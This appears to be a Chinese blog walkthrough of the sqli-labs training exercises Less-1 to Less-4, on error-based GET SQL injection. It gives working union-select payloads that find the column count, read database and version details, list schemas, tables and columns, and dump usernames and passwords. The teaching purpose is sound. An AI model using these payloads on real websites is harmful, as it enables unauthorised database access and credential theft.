0
点赞
收藏
分享

微信扫一扫

sqli-lab通关教程

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

输入单引号,页面报错,如下图所示:

sqli-lab通关教程_单引号

根据报错信息,可确定输入参数的内容被一对单引号括起来的。

查看源代码,sql语句中id参数是被单引号括起来的。

sqli-lab通关教程_单引号_02

也就是说我们输入的1‘,带入语句中为:SELECT * FROM users WHERE id ='1'' LIMIT 0,1 单引号未闭合所有报错,所以要使用--+或#注释掉后面的单引号。

sqli-lab通关教程_单引号_03

下来开始进行爆数据。

利用order by 判断字段数

id=1' order by 3 --+   #返回正确

sqli-lab通关教程_单引号_04

id=1' order by 4 --+   #返回错误

sqli-lab通关教程_单引号_05

可以判断字段数为3。

利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数

id=-1' union select 1,2,3 --+  #显示2和3字段可以利用

sqli-lab通关教程_单引号_06


利用函数database(),user(),version(),@@version_compile_os
可以得到所探测数据库的数据库名、用户名、版本号和操作系统

​id=-1' union select 1,database(),user() --+

sqli-lab通关教程_字段_07

id=-1' union select 1,version(),@@version_compile_os --+

sqli-lab通关教程_数据库_08

上图可以看到数据库名以及数据库连接权限为root,为高权限账户,可以尝试爆出其他数据库来。

利用union联合查询爆其他数据库

id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

sqli-lab通关教程_字段_09

利用union联合查询爆security数据库表名

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

sqli-lab通关教程_单引号_10

利用union联合查询爆security数据库users表字段

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

sqli-lab通关教程_数据库_11显示字段比较多,可能存在其他数据库在users表中的字段,这里需要添加上所查库名。

​id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+

sqli-lab通关教程_字段_12

利用union联合查询爆security数据库users表数据

id=-1'union select 1,group_concat(username),group_concat(password) from security.users --+

sqli-lab通关教程_单引号_13


Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

输入单引号,根据报错信息确定输入的内容被原封不动的带入到数据库中,也可叫做数字型注入,就是把第一题中id=1后面的单引号去掉,其他保持不变进行注入就可以了,具体步骤安全Less-1进行操作。

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,所以在注入中需要使用id=1')进行注入。其他保持不变就可以了。

sqli-lab通关教程_数据库_14


Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

输入单引号,页面无任何变化,输入双引号,页面报错。根据报错判断输入的内容被放到一对双引号和圆括号中。所以在注入中需要使用id=1")进行注入。其他保持不变就可以了。

sqli-lab通关教程_数据库_15
















举报

相关推荐

0 条评论